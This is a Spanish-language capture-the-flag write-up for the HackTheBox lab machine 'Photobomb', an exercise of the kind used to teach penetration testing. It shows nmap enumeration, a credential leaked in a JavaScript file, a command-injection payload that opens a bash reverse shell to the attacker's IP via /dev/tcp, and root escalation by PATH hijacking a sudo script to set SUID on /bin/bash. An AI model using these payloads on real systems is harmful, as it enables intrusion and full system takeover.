Post

HackTheBox - Photobomb

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Information Leakage, Command Injection, Path Hijacking

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

  • Si visitamos la página web nos redirigirá a photobomb.htb, así que lo agregamos al /etc/hosts

c. Al inspeccionar el sitio web nos encontramos con un fichero photobomb.js el cual contiene una credencial para el directorio /printer

1
('href','http://pH0t0:b0Mb!@photobomb.htb/printer');

d. Una vez entremos a este sitio, veremos que podemos redimensionar imágenes para descargarlas. Capturamos la petición con Burp Suite y empezamos a jugar con los parámetros

Si manipulamos el parámetro dimensions obtendremos diferentes respuestas, así que podemos intuir que es vulnerable a una inyección de comandos.

  • Para saber si tenemos ejecución de comandos, nos pondremos en escucha de trazas ICMP y enviaremos un ping

e. Al tener ejecución de comandos, nos entablamos una reverse shell

1
2
3
4
5
Payload Burp Suite: dimensions=30x20%0a`bash -c "bash -i >%26 /dev/tcp/<tun0 IP>/443 0>%261"`
----------------------------------------------------------------------------------------------
❯ nc -lvnp 443
bash-5.0$ whoami
wizard

Escalada de Privilegios 💹

a. Listamos nuestros permisos a nivel de sudoers

1
2
3
bash-5.0$ sudo -l
User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
  • Analizamos el script /opt/cleanup.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
      bash-5.0$ cat cleanup.sh
      #!/bin/bash
      . /opt/.bashrc
      cd /home/wizard/photobomb
    
      # clean up log files
      if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
      then
      /bin/cat log/photobomb.log > log/photobomb.log.old
      /usr/bin/truncate -s0 log/photobomb.log
      fi
    
      # protect the priceless originals
      find source_images -type f -name '*.jpg' -exec chown root:root {} \;
    
    • Conclusiones:
      • El script carga las configuraciones de /opt/.bashrc
      • find se llama de forma relativa por lo que es vulnerable a un Path Hijacking
      • El permiso SETENV nos permite indicar un PATH para la ejecución del script
  • Vemos una configuración ‘novedosa’ en /opt/.bashrc

    1
    2
    
      # Jameson: caused problems with testing whether to rotate the log file                                                                                        
      enable -n [ # ]
    

    [ es un comando integrado en la bash, pero, al indicar enable -n [ deshabilitamos esta opción. Por lo que se vuelve otro comando el cual se llama de forma relativa y también es vulnerable a Path Hijacking

b. Conseguimos acceso como root con un Path Hijacking

1
2
3
4
5
6
bash-5.0$ echo -n 'chmod +s /bin/bash' > [
bash-5.0$ chmod +x [
bash-5.0$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
bash-5.0$ bash -p
whoami
root
This post is licensed under CC BY 4.0 by the author.